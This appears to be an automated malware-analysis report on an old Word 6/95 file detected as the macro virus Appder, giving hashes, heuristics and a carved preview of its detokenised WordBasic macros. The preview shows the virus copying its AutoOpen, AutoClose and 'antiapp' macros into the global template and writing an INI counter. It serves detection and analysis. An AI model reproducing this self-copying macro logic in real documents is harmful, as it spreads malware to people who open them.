Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1829fcf8f0a5c193…

MALICIOUS

Office (OLE)

7.5 KB First seen: 2012-06-14
MD5: 0aad51a22d7a1c4808b0089968be6584 SHA-1: 06e082498dd748eb49fc627105fa1a77c1bb8005 SHA-256: 1829fcf8f0a5c193cdfacd6968fefba560f5fbeb1b10501e3d8881935b01ba2a
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by 'RSN MACRO VIRUS' markers and ClamAV detection as 'Win.Trojan.Appder-4'. The embedded text and function names like 'AutoOpen' and 'antiapp' strongly indicate a malicious macro designed to execute automatically when the document is opened, likely for propagation or other malicious actions.

Heuristics 3

  • ClamAV: Win.Trojan.Appder-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Appder-4
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1346 bytes
SHA-256: d1205a3838d5e4d6d12263e385a4db0c8e72221e018951478b5ba4616476c88b
Preview script
First 1,000 lines of the extracted script
, = = 29551 =
MAIN
Funyour$
, - * Quit
iMacroCount = @cmd80b7 0 , 0
i = 1 iMacroCount
@cmd80b8 i , 0 , 0 = "AutoClose"
AClose = 1
@cmd80b8 i , 0 , 0 = "antiapp"
Ad = 1
i
AClose Ad
sMe$ = @cmd8025
sMacro$ = sMe$ = ":antiapp"
@cmd80c2 sMacro$ , "Global:antiapp"
sMacro$ = sMe$ = ":AutoClose"
@cmd80c2 sMacro$ , "Global:AutoClose"
Funyour$
, - * sale
WOpen$ = @cmd810d "Microsoft Word" , " NTTHNTA" , "WINWORD6.INI"
sales = 1
@cmd810e "Microsoft Word" , "NTTHNTA" , @cmd8007 sales , "WINWORD6.INI"
@cmd00d7 = "Appder" , 6501
REM Funyour
MAIN
Funyour$
, - * Quit
iMacroCount = @cmd80b7 0 , 0
i = 1 iMacroCount
@cmd80b8 i , 0 , 0 = "AutoClose"
AClose = 1
@cmd80b8 i , 0 , 0 = "antiapp"
Ad = 1
i
AClose Ad
sMe$ = @cmd8025
sMacro$ = sMe$ = ":antiapp"
@cmd80c2 sMacro$ , "Global:antiapp"
sMacro$ = sMe$ = ":AutoClose"
@cmd80c2 sMacro$ , "Global:AutoClose"
Funyour$
, - * sale
WOpen$ = @cmd810d "Microsoft Word" , " NTTHNTA" , "WINWORD6.INI"
sales = 1
@cmd810e "Microsoft Word" , "NTTHNTA" , @cmd8007 sales , "WINWORD6.INI"
@cmd00d7 = "Appder" , 6501
REM Funyour
MAIN
dlg @cmd0054
, - * Quit
dlg
sMe$ = @cmd8025
sTMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:antiapp" , sTMacro$
sTMacro$ = sMe$ = ":antiapp"
@cmd80c2 "Global:antiapp" , sTMacro$
sTMacro$ = sMe$ = ":AutoClose"
@cmd80c2 "Global:AutoClose" , sTMacro$
@cmd0054 dlg
* Done
Err 102
@cmd0054 dlg

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